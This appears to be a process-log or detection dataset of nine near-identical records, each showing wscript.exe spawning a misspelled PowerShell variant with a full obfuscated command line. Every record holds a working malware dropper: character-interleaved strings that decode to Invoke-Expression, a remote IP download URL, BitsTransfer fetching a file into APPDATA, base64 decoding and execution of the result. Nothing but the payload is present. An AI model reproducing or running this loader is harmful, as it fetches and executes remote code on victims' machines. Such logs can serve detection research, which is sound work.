parent_process wscript.exe martian_process powerswell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powersell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powersell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powerspell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powersjell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powersxell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powersiell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powersvell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
parent_process wscript.exe martian_process powers?ell.exe "Function Spildedamp9 ([String]$Tilsvi49){For($Murbrk9=1; $Murbrk9 -lt $Tilsvi49.Length-1; $Murbrk9+=(1+1)){$Filecha=$Filecha+$Tilsvi49.Substring($Murbrk9, 1)};$Filecha;}$Setli=Spildedamp9 ' h tHt p :E/C/t1 0T9m.T2s0 6V. 2 4R0T.A6T7G/ xTl oFg /REsm bEu s .Ps ePaP ';$Filecha01=Spildedamp9 'Hi eBx ';$Thurro = Spildedamp9 ' \ svy sPwOo wH6F4B\BWBiUnRd ojw sPPRo w eMr S h eSlFl \UvP1 .T0A\ pDoAw eFr sOhIegl l . eUx eK ';.($Filecha01) (Spildedamp9 'F$ I nKd iScBaEtMo 2P=J$UeVnSvB:Hwdi nUdgiDrA ') ;.($Filecha01) (Spildedamp9 'E$BTshIuFrPr o =U$lICnhdEi c aBtToI2 + $ Tsh u rSrSoS ') ;.($Filecha01) (Spildedamp9 ' $DP uCbNbPeA = B(M(Rg w m iP PwTi n 3 2S_WpFrAoScFe sgsd - F PRr o c eFsBs IMdG=T$N{UPKIAD } )K. CEoAmDm a nSd LGi n e )S s-PsOpOlBiKtI S[Pcbh aIrI]O3p4J ');.($Filecha01) (Spildedamp9 'W$ B aslKd uKrLd d s s=B $ PPu b b eR[ $ PRuKb bVe .ScIo uLnBtD-U2S] ');.($Filecha01) (Spildedamp9 ' $HZRiSo nRiF=U(UTAeRs t -DP aDt hH $FTbhSu r rAo )B -PATn d ( [ IAn t P t rC]O:F:gs i zNeG E-BeCqp D8 ) ') ;if ($Zioni) {.$Thurro $Baldurdds;} else {;$Filecha00=Spildedamp9 'BS t aSrAtI-TB i tLs TErca nXssf e rP -cSgoKuDr c e $DS eBtGlSi U-DDCeWs t iEn a tEiTo n O$ ITn d iTc aGtSoU2H ';.($Filecha01) (Spildedamp9 'J$ IOnEd i c aFtso 2G= $Heun vt: a pUpPdIa tDa ') ;.($Filecha01) (Spildedamp9 ' I mTpFo rTt - M o dbuMlTe VBLiPtTsATRr aRn s f eLrH ') ;$Indicato2=$Indicato2+'\Kanttekste.Nas';while (-not $Raaderumme) {.($Filecha01) (Spildedamp9 'S$TR aSaLd eGr uVm mPeL= ( T eBs t -BP a tTh $KI nHdti c a t oC2s)I ') ;.($Filecha01) $Filecha00;.($Filecha01) (Spildedamp9 'DSStCaOrLt -sSMl eLe pT 5U ');}.($Filecha01) (Spildedamp9 'S$USSp iTlPd eTdRa mSp = G e tS- C o nGtMeRn tG $ IBn dOipc aMtKoN2O ');.($Filecha01) (Spildedamp9 'F$JABkQtSiA E= P[ S y sPtDe mM. C o nDv eVrStS]r:T:SF rVoCm BRaisSe 6 4BSOt r i nSgT(L$BS p iDlOdFe dAa mFpS)P ');.($Filecha01) (Spildedamp9 't$MFSiCl e c hKaA2F U=S G[ SPySs tOe mT. T eMxBt . E nUcSoRdCi nMgD]M:T: ATSLC ITI .eG eJtRSTtBr iMnFgO( $ ARkLtSiS)B ');.($Filecha01) (Spildedamp9 ' $VTDe t r aN=W$ FFi l e cUhFaB2V.Ss u bTsUtOr iEn gH(S1G8 6A5I5C9 ,K1N8D8T4T7F) ');.($Filecha01) $Tetra;}"
